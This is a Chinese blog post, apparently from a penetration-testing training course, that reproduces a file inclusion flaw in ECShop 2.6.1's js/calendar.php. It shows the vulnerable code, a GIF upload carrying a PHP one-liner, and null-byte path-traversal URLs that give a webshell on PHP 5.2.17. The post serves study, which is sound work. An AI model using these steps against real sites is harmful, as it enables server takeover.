哎,为期10天的cisp-pte培训,好苦逼好心酸。

大周六的也要培训,哭唧唧...

今天讲到文件包含漏洞时。。。

讲师演示出现问题咯。。。。

那怎么办呢?那我帮忙复现下啦。

1、环境

phpstudy+echsop

ecshop版本:v2.6.1

php版本:5.2.17+apache

2、利用

1、注册用户

2、上传GIF89a头的GIF文件欺骗

3、包含漏洞,如:

http://www.test.com/js/calendar.php?lang=../data/feedbackimg/3_20190511hzvvjb.gif%00.

(注意后面有个“.”)

3、过程

漏洞位置代码:

“js/calendar.php” 16-26行

$lang = (!empty($GET['lang']))
? trim($GET['lang']) : 'zh_cn';//没有过滤,很明显的包含漏洞
if (!file_exists('../languages/' . $lang . '/calendar.php'))
{
$lang = 'zh_cn';
}
require(dirname(dirname(__FILE)) . '/data/config.php');
header('Content-type: application/x-javascript; charset=' . EC_CHARSET);
include_once('../languages/' . $lang . '/calendar.php');//这里包含,需要截断

4、复现

注册个用户前台登陆、我的留言,在上传文件处。

上传GIF89a头的gif文件欺骗(Windows下cmd(gif图片+php一句话)合成就行,切记图片需要在64kb以下)



http://10.211.55.6/ecshop/data/feedbackimg/3_20190511hzvvjb.gif

复制链接,

利用文件包含漏洞获取webshell.

Poc:

http://127.0.0.1/js/calendar.php?lang=../../tmp

Shell地址:

http://10.211.55.6/ecshop/js/calendar.php?lang=../data/feedbackimg/3_20190511hzvvjb.gif%00.


5、结尾:

为什么选择php版本5.2.17?

1、 利用此漏洞需要magic_quotes_gpc函数。

2、 magic_quotes_gpc在php5.4版本以上就去除了,也即是php解析器不会自动为POST、GET、COOKIE过来的数据增加转义字符"\",而是把安全编码交给了用户自己,从而避免了magic_quotes_gpc未设置,用户依赖这个设置而带来了安全隐患。

过程:php.inc查找函数,Off就好。


前面多次怎么修改都无法利用,直到。。。。看见了这条,切换了版本秒成功复现。

此贴只是个学习过程中处理问题的过程,记录一下。

最后修改:2021 年 03 月 09 日
如果觉得我的文章对你有用,请随意赞赏